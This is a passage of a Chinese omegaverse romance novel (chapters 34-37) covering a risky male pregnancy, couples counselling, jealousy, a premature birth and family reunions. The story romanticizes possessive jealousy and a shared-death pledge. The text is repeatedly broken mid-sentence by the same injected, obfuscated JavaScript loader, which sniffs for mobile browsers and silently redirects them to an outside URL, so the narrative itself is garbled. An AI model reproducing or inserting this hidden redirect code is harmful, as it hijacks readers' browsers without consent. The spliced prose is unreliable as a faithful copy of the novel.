“因为医生可以更好地帮助你。这没什么,就像我要定期去精神科复查一样……唔,你是不是还要去产科挂号?” “……” “我会送你去医院,再接你回家。也给你买冰激凌。”庄兆积极道,“我现在会开车了!” “……” 应重明说,“我爱你。” 庄兆说,“我知道啊。” 因为应重明的爱是早已深入心底的已知项,所以无论他用多么激烈的言语表达,庄兆都不会受到很大的冲击。 无论是从另一个时空维度里来的穿越客,还是一个精神失常满脑袋臆想的疯子,他都是庄兆决定要共度余生的伴侣。 庄兆赖以做出判断的凭证,是两人共同度过的十几年,是自己亲身经历过的时间。 “就让它只是一个噩梦。有我在的世界才是真实的。”他在应重明湿漉漉的额头印下爱怜的吻。 “我会好好照顾你。” 34.第 34 章 清晨在相拥而眠的宁静中度过。 应重明的手机还在餐桌上,电量即将耗尽,自动关机之前收到了应惊蛰的消息。父母们也先后发来了生日祝福。 庄兆少见的先醒,在被子里玩了会儿手机,看着家庭群里消息不断,忍住了没有出声。 这是应重明的生日,他认为应该先由应重明本人亲自回复。又等了一阵,还弄出一点小动静,应重明却只是把他抱得更紧,没有转醒的意思。 据他分析,这是由于体内激素水平变化导致的嗜睡,是怀孕初期的常见现象,因此没有过度紧张。 在这个不寻常的上午,庄兆悄悄用手机搜索做了许多功课。 快中午了,他收起手机,翻身亲了一下应重明,听到自己的肚子发出微弱的咕噜声。 应重明缓慢地睁开眼睛,哭了大半个晚上的嗓音低哑得令人脸红,“早上好宝宝。” “早安。”庄兆开心地说。“我点了中餐外卖。” 昨天晚上他本来也要点中餐的,可惜只匆匆忙忙地吃了几口蛋糕,饿到现在真有点两眼发昏了。 应重明洗漱好坐下来,看着他积极地吃早午饭,甚至比平时胃口还要好。心情复杂,又有点想笑。 昨天的闹剧似乎没有对他造成什么影响。应重明说不上生气,但也不会有多高兴。 如果快乐无法同步,那么至少痛苦是可以确定的。 悬在楼体外的那几秒里,某一个瞬间,他真的是想要把庄兆拉下去,达成自己认为的确定的圆满。 可是在十几个小时后的现在,他坐在餐桌边看着庄兆很好胃口地吃饭,又万分庆幸自己没有那么做。 今天他有很多消息需要回复,从起床就开始,忙得几乎顾不上吃东西。庄兆吃饱以后坐到他身边,充当他的双手,一勺一勺地喂给他吃。 “为什么忽然把我当小孩子对待?”虽然这样说,他一勺一勺地吃完了庄兆抵到嘴边的炒饭。 “因为要好好照顾你。” 庄兆犹豫了一下,还是坦诚地说,“我支持你的决定,但我认为你会遭遇很大的危险。我很担心。” 他今天上午看了很多触目惊心的科普和文献,了解此前完全不关心的领域。 生育的风险实在太大,即便是在千万年来都承担起繁衍重任的女性身上,都令人捏一把汗,更不要说是医学还未探明的新性征——男性Omega。 更更不要说,应重明说过自己是个有生殖缺陷的Omega,这份风险还要再翻一倍。 庄兆想,他是在清楚自己身体状况的前提下做出这样的决定,看来是非常想要一个孩子。 “没关系。”应重明很欣慰他的照顾不是为了孩子,否则马上又想跳了。 “我已经做好心理准备。” 这副功能不全的身体,大概率是无法把胎儿供养到足月出生的。他会先亲自孕育这个孩子,直到身体无法再承受,就剖腹转移到保温仓里,靠仪器给养。 庄兆:“……”感觉更危险了。 为什么一个不知道手长脚短的小孩子值得他冒这样的险,庄兆不明白,甚至有点嫉妒。 但想到应重明也说过愿意把他生下来,就又释怀了。 恰好是应重明的生日。他们接通群聊视频,借这机会向两边的父母宣布了怀孕的消息。 虽然才怀上一周,大家也不知道他们是怎么发现并确诊的。但这两个孩子一直很有主意,什么事情都是自己想清楚了才告诉家长。留学时就是,这次也不例外。 应重明这边父母受到的震惊更甚,险些晕过去,不过总体来说,这也不是件坏事,艰难消化之后还是表达了祝贺。 有些话父母不好说,平辈倒是没关系。应惊蛰对着视频通话结巴了半天,代替大家发声,“庄兆你,你真的……你很行啊,哈。” “谢谢。”庄兆擅长笑纳任何赞扬。 蛋糕在前一天被吃掉了。不过他还准备了电子蜡烛,放在毛绒蛋糕上按亮。 “许愿环节!” 应重明拿起他织得歪歪斜斜的生日帽,对着镜子扯松了些,斜斜地戴着。帅得人眼前一亮,“我可以直接说出来吗?” “当然可以。”庄兆用手机给他拍照,十分慷慨道。“什么都可以。” 什么都可以吗?他看着庄兆。那么我想要你永远关心我,可怜我,迁怒我,怨恨我。我想要你的眼睛一直看着我,永远只停留在我身上。哪怕摇尾乞怜。 他说,“我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102638|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要你永远爱我。” 这恰好是庄兆最有把握做到的事,比再织一顶生日帽简单多了,于是很高兴地点点头,“我会为你实现。” “你已经帮我实现了很多。” 应重明说,“过去的每年生日,我都会许同一个愿望,希望你能分化成beta。” 他希望庄兆能在即将降临的残酷世界里,拥有相对轻松的人生。 最好是Beta,再不济就Alpha,总归不要和他一样,分化成地位低下的Omega。 他不熟悉接下来的发展进程,但到了他的年代,社会已经倒退到甚至无法同工同酬,Omega的薪水总是会比普通人更少,因为他们普遍被认为劳动能力低下。 很多Omega被逼无奈,只能去寻求Alpha的庇护和供养,容颜会衰老,□□会松弛,他们唯一称得上珍贵的价值就是生育能力。 现在还有机会,他也要把身上最有价值的部分奉献给庄兆。 庄兆认为他遭遇过很多的歧视,很多不公平的待遇,才会有这种想法。 从某种程度上说,他懂得应重明的悲伤。 “我有先天性神经发育障碍,在一些国家的分类标准里,我也是残疾人。”在进化热潮降临之前,他也是普通人里的异类。“可你从没有歧视过我。” 庄兆说,“在任何体系里,都不应该这样冷酷地评估一个人的价值。我又怎么会因此停止爱你呢?” “嗯……”应重明喃喃道,“我很希望被当人来看待。” 庄兆起身拥抱他,“我明白。” 虽然很骄傲自己是个天才,但庄兆努力地克服障碍,努力融入社会,最希望的也是自己能被当成一个普通人对待。 应重明的异常都是在性征分化之后产生的,和心底的ABO创伤有着不可分割的联系。 他无法改变已经发生的社会剧变,但知道该如何在类似的处境中调整心理状态,获得更平和自洽的生活。 他拥有一些经验。这些经验是在无数饱含爱意的耐心中诞生的。 如果今后针对Omega的歧视,比以往对精神残疾的歧视还要严重,那么就由他来做应重明曾经做过的事。由他来给予饱含爱意的耐心。 35.第 35 章 房间里的漂亮装饰悬挂了整个周末。庄兆去上课后,应重明回到这里,花了大半天的时间,把每一根丝带都细细捋平扎好,每一颗气球都铺平放完了气。 大大小小的零件全部装进箱子里,连一根拉菲草都没有放过。他收满了三只纸箱,心满意足地带回家,收进礼物柜里妥善保存。 柜子最显眼的一格珍藏着一根铅笔,是庄兆第一次见面递给他的那支。在他心里,这是两个人的定情信物。 而他现在知道了,庄兆和他的一见钟情发生在同一天。很后悔没有把那天医院的体检报告单留作纪念。 庄兆对他说了许多贴心甜蜜的话。但里面有没有一些,是为了他身体里这个还未成人形的生命才说的呢? 他坐在地板上,抚摸着自己没有任何变化的腹部,思索了许久。 这个问题的答案,或许要到孩子出生以后才能知晓了。 好吧,好吧。既然庄兆一定要两个人都活着,才会开心,那么他也会实现庄兆的愿望。 让他为自己活着是很困难的事情。但是如果为了庄兆的愿望而活着,他认为会简单很多。 当地的产科刚刚开始接收男性Omega,一切医疗手段都还在摸索阶段。这个周末,庄兆和他一起去建立档案,做了详细的全身检查。 医生对他该如何分娩也表现出担忧。 届时应重明将会成为这里的第一例男性剖腹产手术案例,想来整个过程足够供好几位博士论文发刊。科室上下都对他十分重视,连院长都闻讯赶来,亲自慰问。 按照现在的人类女性妊娠规律,应重明的预产期应该在来年十月。 他心里清楚,自己不太可能把胎儿怀到那个时候。但当庄兆父母提前做准备,给他寄来宝宝冬天的小衣服时,他还是带着幸福的笑容全部接受。 庄兆的亲妹妹和亲闺女将会成为同龄人。天才的人生际遇果然不同凡响。 虽然月份太小,做b超还不能确定胎儿的性别,但家里一直很笃定地认为,这两个孩子都会是可爱的小女孩。 庄兆暂时对小女孩没有什么概念。在他心里现在的应重明太容易死了,必须要通过科学手段提高伴侣的存活率。 于是他严肃地更新日程,一丝不苟地把每一次孕检时间都拍进去。并且在圣诞节前,预约了伴侣咨询,单独腾出一天时间,和应重明一起去看心理医生。 庄兆的情绪障碍是先天性的生理原因导致,现在已经能有效控制,偶尔需要通过药物缓解。并没有太大问题。 测试结果表明,应重明才是心理更不健康的那个人。 因为他既没有把自己当人看,也没有把伴侣当人看。 医生说,他要学会接受自己和庄兆一样,都只是普通人。一个允许各种情绪发生,能说爱也会做的普通人。 如果对自己的情绪视而不见,一直压抑发酵到绝望,很大可能会成为传说中那种“好好的一个人怎么说没就没了”的八卦主人公。 庄兆认为医生说得很有道理。 伴侣咨询不仅帮助应重明,也让他有了新的感悟。因此在深思熟虑后,他开始向朋友坦诚。 以往他从未提起过自己的病史。扪心自问,他其实也有意隐瞒。 谭乐盈有幸听到一个天才的难言之隐,大为震惊,“我以为你只是性格比较文静内敛。” 庄兆认为这是好词,又笑纳了,“我确实是比较文静内敛的。” “……” “但我并不是一直都这样。” 他有时想到小时候的自己,也会感到不可思议。他已经走到了这么远的地方。 “是因为应重明。如果没有他,我现在可能都没办法跟你们正常讲话……”庄兆想了想,“不,应该说,我可能根本就不会遇到你们。” 如果没有应重明,十年如一日地帮他进行了大量的社会化训练。他会继续当一个无法离开书房,无法直视别人眼睛的孤僻的天才。 而不是像现在这样,看起来跟正常人没有太大差别。 冰激凌车事件也是应重明帮助他成长的一环。周末看完医生,他特意去超市求证,发现冰柜里的冰激凌确实是不太可能卖空的。 虽然不高兴应重明欺骗了他,但想一想今后无论什么时候想吃冰激凌都可以买到,又觉得是个好消息呢。 原谅了。 在实验室里私自做试管受孕是不合法的。和应重明搭档的师兄心虚自首,主动把这件事捅到了学校高层。应重明因此被叫去问话,并即将面临起诉。 庄兆此时才得知,原来季明度说的,他在做的非法临床试验是真的。只不过受试者只有他自己。 恰好应惊蛰来看望弟弟,顺便帮忙把人保释出来骂了一顿,“想要孩子想疯了吧你!” 应重明不还嘴。庄兆也在旁边老老实实地低着头。 应惊蛰骂了半晌,看他们现在倒是装得像模像样了,差点气笑,“他是不是偷偷去做的这个,庄兆你知道吗?” “我知道的,知道的。”庄兆的聪明才智在此刻发挥了重要作用,并发出微弱的请求,“可以不要跟爸爸妈妈说吗?” “……” 整个冬天,应惊蛰好几次跑过来看他们。 比她自己长出那一根更令她震惊的,是怀着孕的亲弟弟。但应重明始终没有什么显怀的迹象。 庄兆甚至觉得他更瘦了,总是食欲不佳。他非常渴望陪伴,有时候甚至会逃学来陪庄兆一起上课。仿佛除了爱和温暖的拥抱,任何其他的摄入他都不需要。 应重明睡得不好,即使每天都睡足了十个小时,睡到庄兆说他像一只猫,还是会胡思乱想。 担心自己的身体被剖开会留下丑陋的疤痕,又烦恼这个孩子出生后会和他争夺庄兆的爱。 众所周知,人类幼崽出生后总是有一段时期是非常不讲道理的可爱。他疑心自己到时候争不过女儿,又找不到合理的说法送走她。 这样的念头当然是不可能说给庄兆听的。而庄兆也无法感知到他不稳定的信息素波动,只是察觉到他总露出忧郁的神情,且黏人程度变本加厉。 这天庄兆下课,照例去外面找他,走出教室的几步路上,迎面撞上了赵晋扬。 自从上次的聚会不欢而散后,赵晋扬就没再当面跟他说过话,每次见到他都直接调转方向,明晃晃地避着他走。 那次进医院的经历显然还让他心有余悸。庄兆支付了他的医疗账单,也认为自己应该当面说句抱歉,只是一直被他躲着,找不到机会。 “啊别,不用,完全不用。”赵晋扬一副怕了他的模样,似乎不怎么乐意接受道歉。“以后别再坑我就行了。” 毕竟是被诱导发情,信息素紊乱在鬼门关走了一遭。庄兆虽然不怎么喜欢这个人,但还是能理解他遭受无妄之灾的心情。 “听说你们就快有小孩了,哈。恭喜。”赵晋扬语气有点怪。“孩子可是一辈子的事,以后再有什么问题,就没那么容易掰扯清楚了。你真的想好了,要跟那个人过一辈子么?” 季明度被家里火速抓回国约束起来。即使没有太多线索,他也能想到那晚的事是谁策划。 他是Alp ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117600|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ha尚且遭了老罪,更不要说一个Omega。他觉得应重明简直就是奔着要人家的命去下的手。 虽然季明度自己想挖人墙角,干的也不是什么正经事。但哪里至于下手这么狠呢? 留学生圈里撕逼是常事,但差点撕出人命来的还是很罕见。 敢跟这样的人结婚生孩子,万一以后哪点对不住他……还不分分钟都有性命危险? 庄兆听懂他的意思,神情渐冷,很有些不满。 “他是我的丈夫。”庄兆说,“如果他犯了错,我会好好管教他。但绝不会抛弃他。” 人来人往的教室,本不该多说。赵晋扬摆摆手就此作罢,转身匆匆融入人潮之中,很快便没了踪迹。 庄兆叹了口气,转身要走自己的路,冷不丁却看到应重明的脸,鬼魅般出现在他的身后。 “……” “今天下课有一点晚。”应重明轻声说。 他习惯性地伸手,想接过庄兆抱在手里的书。但庄兆摇了摇头。 自从应重明怀孕以后,很多事情都该要反过来做了。庄兆把他全身看了一遍,从他手里拿过车钥匙,然后问他,“今天有没有不舒服?” 应重明也摇了摇头。 他看上去有些心事,回家的路上,主动跟庄兆说,“季明度许诺了抑制剂作为报酬,让赵晋扬配合他一起到我们家玩。” 庄兆没有听太懂,但还是配合地说,“原来是这样。” 应重明看着他开车,开得很淡定,很独立。好像根本没把刚刚的话放在心上,也不再需要应重明为他做任何事。 应重明心里非常难受。他撞见赵晋扬和庄兆在说话,而且非常敏锐地感觉到了,对方是在说他的坏话。 他没办法为自己说话,因为他确实做了,甚至还为此跟庄兆吵过一次架。再提也只会更理亏。 但他还是难受,难受得没有道理,“我很坏吗?他们更坏。” 一定是庸医把他治坏了,他再也不想要公正的,客观的冷静的庄兆。他想要一个不聪明的庄兆,无论他做了什么,都无条件地偏袒他,包庇他,“我真的很坏吗?” 庄兆听到他语气不对,一转头,正看到豆大一颗泪珠从他眼眶里溢出来。 “……没有啊。怎么会呢。”庄兆立刻转了向,把车停到安全位置,下车安慰他,“你一点也不坏。” 应重明被他拉着手,轻轻地拥抱,便顺势把一颗心放到他身上。 他身上有很淡的沐浴露香味,除此之外什么都没有。应重明两辈子都没有被信息素安抚过,根本不知道那是什么感觉,可还是用鼻尖拱着他的颈窝用力地嗅闻,做一些无望地徒劳。 “我讨厌他们。”他的眼泪流了庄兆半个肩膀,声音沉闷地发嗔,“你不要再跟他说话了。不要再跟别的任何人说话。” 庄兆竟然觉得可爱,被迷得晕头转向,“好的……我答应你。” 这么为难的事情,却答应得这么快。是不是根本就没有听他在说什么? 应重明的眼泪掉得更欢了。 他现在已经勉强自己接受了庄兆爱他的说法。可随之而来的是,任何庄兆可能有一点点不爱他的反应,他都难以忍受。 “我讨厌他……”觉得这个“他”指的还不够全面,应重明哭着说,“我讨厌所有人!” “……” 庄兆不知道他又想到哪儿去了,只好连忙安抚,语无伦次,“是的他很坏,我也讨厌他!讨厌他……不要再哭了,这样下去你会头疼的。” 应重明说:“他凭什么得到你的讨厌。” 36.第 36 章 在怀孕的前三个月,应重明几乎一直都处于濒临破碎的忧郁状态中。 这种忧郁在他身上其实别有一番风情。但庄兆坚决不会为色所迷,甚至为了确保自己不犯错误,还主动提出分床睡觉。 应重明:“……” “再搬一张床进来放在对边,”庄兆说。“这样就不会压到你,你也随时可以看到我。” 反正卧室够大,放两张床也不会显得拥挤。但他万万没有想到,这三米距离在应重明心中远似天涯海角,足以把心理防线击溃。 应重明早已经失去独自入睡的能力,躺在床上睁着眼睛,静音流泪到天明。哭得发低烧,不吃药硬抗了三天。 吓得庄兆再也不敢提分床的事,每天晚上把他抱在怀里哄到半夜才能安心入睡。 庄兆是在这时才理解,为什么应重明喜欢叫他宝宝。 比起照顾应重明身体里的那个宝宝,他也更多地会把应重明本人当成宝宝对待。要非常地细心耐心,注意一切琐碎的小事。 应重明孕期免疫力下降,经常生病,但是他拒绝使用任何药品,尤其是信息素类。现在的药物试验都还不够严谨,药物的副作用有可能会给胎儿造成影响。 Omega除了发情期,孕期是最需要伴侣信息素安抚的时候。好在他怀着的是庄兆的孩子。 庄兆是Beta,即使是自然受孕,也不用把信息素留在他腺体里。因此比起别的Omega,他对信息素的渴望不算严重。 但是庄兆本人并不知道这点。 他看着应重明难受,却帮不上什么忙,自己也很难受,着急得在脖子上摸来摸去,“你需要信息素吗?怎么才能给你呢,为什么我不能给你?” “因为你是Beta。”应重明用虚弱的声音说了句废话。 “那我该做什么呢?”他又问。很希望自己能帮上忙。 “坐上来。”应重明说,“裤子脱掉。” 庄兆愣了一下,红着耳朵照做。 很有效果。他一坐上来应重明就不虚弱了,头也不痛了腰也有劲了。再按照要求一口咬下去,连忧郁状态都解除了大半。 Omega的腺体里充满着苦涩的味道,混合血腥味,让庄兆想要流泪。 “太深了吗?”应重明停下来,吸气,“那换一个姿势好不好?” 但是只有这个姿势不容易伤害到宝宝。庄兆摇头,轻轻抿着他腺体上渗血的牙印。 身为家庭支柱的责任感伴随爱欲抵达了巅峰。庄兆在心里发誓将用余生照顾他和他们的孩子,哪怕付出自己的全部。 这年冬假他们没有回国。家长们都赞同,让他陪着应重明好好休息调养身体。 新的一年终于来临。时间带着好的坏的,要死要活地往前走。 应重明的身体也在发生变化。 第四个月他的肚子变得明显了,平躺也能看出一点点弧度。庄兆很喜欢摸,每天睡觉前都要玩一会儿,学别的准爸爸给他抹妊娠油。 应重明自己并不喜欢这种臃肿的感觉,“很难看。” “不是的,很可爱。” 庄兆说,“医生给我推荐了新手爸爸课程,还有很多准父母会去参加的亲子活动。他们会在怀孕的肚子上画动物笑脸,你想去吗?” “……” 应重明觉得幼稚极了,脸上写满抗拒。 庄兆其实也不太感兴趣,只是提议。孕夫的心思他不懂,所以想试试所有可能让应重明开心一点的办法。 应重明现在很少跟他长时间地对视了,超过五秒钟就会移开眼睛。照镜子的时间也大大减少,甚至会刻意避开。 “我会变得越来越难看。”他轻声说,“我的体重一直在增加。” 整个孕期到最后他的体重一共增长了5kg,却带给他巨大的容貌焦虑。最糟糕的是,因为无法剧烈运动,要保证营养也不能吃减脂餐。他只能眼睁睁地看着自己进入这样的恶劣变化。 而庄兆依旧很迷人。 他不再去庄兆的学校了,因为不想看到庄兆和同学说话,结束实验后就坐在工位里等庄兆来接。 可是连他实验室里的人都会被庄兆吸引,问东问西地搭讪。他忍耐两分钟,实在受不了,强行把庄兆拉走了。 不知道这种生活还要持续多久。如果他是一只玩具熊,现在就想把自己的身体剪开,把里面的棉花小人扯出来扔掉。 他已经不是那个阳光温柔好人缘的Felix了,嫉妒总是让他失去理智。可是这怎么能怪他呢,全世界都是企图勾引庄兆的贱人。 “可是他请教我该怎么照顾怀孕的妻子……”很明显对方是有伴侣的人,庄兆才回答的。“讨论你也不行吗?” “不行!” 应重明冷笑,“他只是在找话题跟你搭讪。他根本就没有妻子,也不配有。” “这样吗?好的。”庄兆并不了解对方的私生活,听他这么说就点点头接受了,“那我以后再也不跟他说话。” 他就这么轻易地接受了。连应重明自己都觉得自己是在无理取闹,胸口剧烈起伏了两下,又妥协道,“好吧……如果你对他有好感,不要瞒我。等到身体恢复以后,我可以和他公平竞争。” “……” “你是傻掉了吗?”庄兆忽然笑起来,仿佛是觉得他说的傻话很可爱,拉起他的手晃了晃,示意他看两人的婚戒,“我们已经结婚了,你不需要跟任何人竞争。你有要求我保持忠贞的权力。” “真的吗?” “当然是真的。你想要我发誓吗?” 庄兆煞有介事地举起手指,“如果我爱上别人,你可以再像上次那样,让我跳下去。但是要找一个好地方跳,不要在居民楼,最好还风景秀丽……” 庄兆对殉情地点还是有一定要求的。 他心中竟然生出些许向往,“那我要跟你一起跳。” “好的。”庄兆说。 应重明就这样被哄好了,晃着十指交握的那只手,开心地说,“我们回家吧。” 跟他说“我爱你”,他很难相信。但跟他说“死的时候会拉上你一起”,他反倒会安心,还感到浪漫。 而庄兆也已经不再纠结信任危机。因为知道,这本质上并不是对他人品的质疑,而是应重明在习惯性地预演,遭遇最亲密的人背叛抛弃。 况且他的好朋友教给他一句话。 “由爱故生忧,由爱故生怖。”谭乐盈把古老的智慧传授给他。“爱到脑子有点坏掉了是会这样的。” 他也乐意跟应重明一起说些傻话。 怀孕第五个月,应重明第一次感受到胎动。 像被一条小鱼啄了一口。他不可思议地抚摸孕囊的位置,僵在原地。 庄兆看到他忽然一动不动地站在那儿,吓得丢掉笔赶紧跑过来,“你怎么了?是不舒服吗?” 应重明不语,只是一味地拉着他的手贴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147952|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚有动静的地方。两个人屏息等了几分钟,等到她的又一次甩尾。 “她已经有意识了吗?好神奇。”庄兆心跳加速,俯身用耳朵去贴,“会听到我们说话吗?” “应该还听不到。不过很快了。”应重明脸上荡起红晕。 他发现了,“你好开心。” 应重明点了一下头。 这是他第一次真切地在应重明脸上看到对这个孩子的期待。堪称年度家庭幸福时刻。 自此两人对神奇肚子的关注又大大提高。可惜小鱼游来游去,没两天就把应重明游得进了医院。 “胎儿长得太快了。”医生的表情不太乐观。“孕囊壁太薄了,再发育下去会被撑破的。能输送的营养有限,胎儿可能会缺氧或者发育畸形。” 预料之中,却比原本以为的更早。 五个月的时间太短了,胎儿存活率很低。如果再多坚持一段时间,存活率就能提高几分。 但不尽快做手术,大人也会有危险。 应重明还正回想这几天的胎动,就听见庄兆问,“最快什么时候可以做手术?” “……” 应重明向学校请了最长的病假。 除了庄兆,没有人知道他的实际情况。以至于在同学和朋友们眼中,庄兆这个准爸爸比孕夫本人还要紧张。 因为求学生涯中从未有过一次迟到早退记录的庄兆,竟然也请了长假! 他们没有把手术告知父母,只通知了应惊蛰。两个人对父母的依赖程度都不高,而且庄兆家里还有一位孕妇要照顾,让他们长途飞行跑一趟太折腾。 只是以往万一,才请姐姐飞过来。万一应重明真下不了手术台,她就是最了解庄兆的人,可以在他惊恐发作时更有经验地应对。 应惊蛰也认为这是太大的挑战,甚至觉得庄兆应该待在家里等消息。她作为直系血缘的亲属,也可以在应重明的病危通知书上签字。 但庄兆从应重明正式入院开始,就没有离开过病房。 他确实承受了以往不敢想象的压力,但却感觉还可以。做了好几个月的心理准备,最终时刻来临时,并没有原本以为的那样糟糕,他带的药都没有吃。 做完了全身检查,在病房里等待手术时,他们之间的氛围跟平时在家没有太多不同。只是医院的病号餐确实不如家里阿姨做的好吃。 “我写了信,在家里床头的玩偶身后。”应重明说,“律师那边遗嘱早就弄好了。家里的信是写给你一个人的,不要给别人看。” “好。”庄兆抱着书坐在沙发上,平静地点头。“我会在没人的地方看。” “看很多遍吗?” “当然。” 时间差不多了。庄兆合上书,望了眼墙上的电子钟,“如果你出了意外,我会转专业去学生物,做Omega信息素和生殖系统研究。” 他不会殉情。生命这样可贵,比起潦草结束,他更想在漫长的思念中度过。 他也不会觉得活着很痛苦,因为可以拥有很多时间想念应重明。他认为这是比死亡更有意义的事。 死亡意味着爱的结束。他愿意用安静的漫长的想念,把爱延续下去。 “但你还是最喜欢数学,对吗?”应重明的眼睛微微眯起来,似乎在笑。“所以我不会出意外。我说过会让你做自己最喜欢的事。” 庄兆摇摇头,隔着氧气罩给了他一个吻。 “我最喜欢的是你。” 37.第 37 章 手术持续了七个小时,从天亮到天黑。 期间庄兆起身签了两次字,短暂交流后就又坐回原位。 应惊蛰光是看他一动不动地坐在那,都觉得屁股快要死掉了,劝说未果,只好跟他一起不吃不喝地苦等。 最终手术还算是成功。但离开手术室时,父女两个都没有脱离危险。 极早早产儿被立刻送进了新生儿ICU。应惊蛰去看,给庄兆发了照片。 真的是个女孩,又小又红,让他想到纪录片里大熊猫生下的幼崽。赤裸地躺在插满仪器的保温仓里,紧闭着眼睛,胸膛微弱而艰难地起伏。 应重明也闭着眼睛。永远不会再醒来一样。 医生说这场手术摘除了他整套孕囊,再从中剥出胎儿,这意味着他从此彻底失去Omega的生殖能力。 庄兆想他会高兴的。他从来都不喜欢当Omega。 于是庄兆试着喊了一声他的名字。意料之中的没有得到回应。 大概是因为应重明从没有让他的呼唤落空过,他忽然觉得这一切有些不可忍受。 他想让事情回到ABO世界降临之前,想要应重明回到健康英俊,意气风发的样子,想让那道刚刚缝合的,长达十几厘米的刀口消失。 可他唯一能做到的事,只是轻轻地握住应重明的手,低头抵进掌心蹭了蹭。 应重明的手不像平时一样热。 他想大声尖叫,痛哭,想问应重明是不是很冷,为什么脸像雪一样白。 他很不舒服,感到自己也需要医生,却无法向护士说出自己的诉求是什么。 他又觉得自己表现得不好。 谁知道没有应重明的生活到底该怎么做?应重明只留了一封信给他,却忘记跟他排练了。 再从天黑等到天亮。他不得不承认,自己还没办法和想象中一样独立地生活。 太阳刚有上升的趋势。他泪眼朦胧地趴在病床上,看到窗外的晨曦,是很绚烂的金红色。 头顶的手掌在抚摸他。庄兆蓦地抬起头,泪珠掉落,视野变得清晰。 他看见一双微微弯起的含笑的眼睛。 “现在是早晨,还是傍晚?” “是早晨……” 应重明摸着他的脸说,“那要吃一点早饭。” 庄兆点点头,舒服多了。 显然比起医生,他更需要的是应重明。 应重明意识清醒以后就恢复得很快。但是宝宝的情况就严峻许多,住院的前两周,基本隔几天就要被下一次病危通知。让人心总是揪紧又松一口气,很折磨。 最危险的一次抢救结束,应重明在病房外抱着他哭了,“对不起。” 从怀孕到现在,应重明第一次后悔。或许不该太任性地把这个孩子带到世界上来。 庄兆隔着玻璃凝望,那小小的胸膛依旧在微弱地,持续地起伏着,“她很坚强。” 又在保温仓里住了两个月,各项指标终于都一点一点地达到正常水平。可以带她回家了。 两人也在讨论中最终敲定了她的中文名字。 应照。 “小照小照,”庄兆看着摇篮里酣睡的宝贝,低声嘀咕,“会不会跟我的名字有点重复呢?” “没关系。”应重明自有巧思。“这样才像是一家人,很亲密。她一定会喜欢的。” “好吧。我觉得很好听。” 他们各自还有课程要读,雇了两位保姆照顾应照。应重明很谨慎地面试了十几位,最后选中的是两个Beta女孩。 她们年龄不大,但身上都带着内敛温和的母性特质,照顾宝宝耐心又温柔。 最重要的是,家里围绕新生命又多了十几个监控摄像头。这才是他们肯放心离开家的原因。 他们一致认为,应照是全世界最可爱的婴儿,然后马上会变成全世界最可爱的少年儿童。 甚至应重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172841|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明都因为这个孩子变得平和了许多,没有想象中要跟她争夺庄兆宠爱的紧张感。 看着庄兆小心翼翼地抱着他们的孩子,他就觉得自己再也不会感到寒冷。爱欲无限膨胀,他只可惜自己无法分泌出奶水。 “等到宝宝长大一点,”庄兆长叹口气,问他,“我们可以再结一次婚吗?就是那种……在布置很漂亮的草地上,在很多人的祝福中宣誓的婚礼。小照也可以参加。” 于是他知道了,庄兆也有那种类似涨奶的感觉。幸福到不知所措,希望把所有遗憾填满。 宝宝刚满月,庄兆妈妈的预产期也到了,住进了医院。 两个人带着孩子紧赶慢赶地飞回国,到医院的路上就听说了超快顺产的好消息。 到达病房之前,他们先路过了新生儿室。庄兆看到一排人类幼崽,好奇地问护士哪一个是他的妹妹,“她叫庄晓。” 妹妹的名字是早就选好的,在好几个动听的备选字眼中,庄兆也有份投票,并荣幸中选。 他也有自己的小巧思,觉得这个字和应照的名字很配。恰好孩子还正是今天早晨,天刚亮时出生,十分应景。 护士指给他看,笑着说,“待会儿就会抱到病房去和妈妈贴贴的。” 他们带着应照到了私人病房。这是外公外婆第一次见到她,小姑娘笑得很讨喜,得到数不清的夸赞。 过了一会儿,刚出生的婴儿也被抱进来。换尿片时庄兆看到了,表示惊讶,“为什么我的妹妹身上长了一根……” 应重明眼疾手快地捂住他的嘴巴,“妈妈辛苦了,要休息一下。我们先出去吧。” 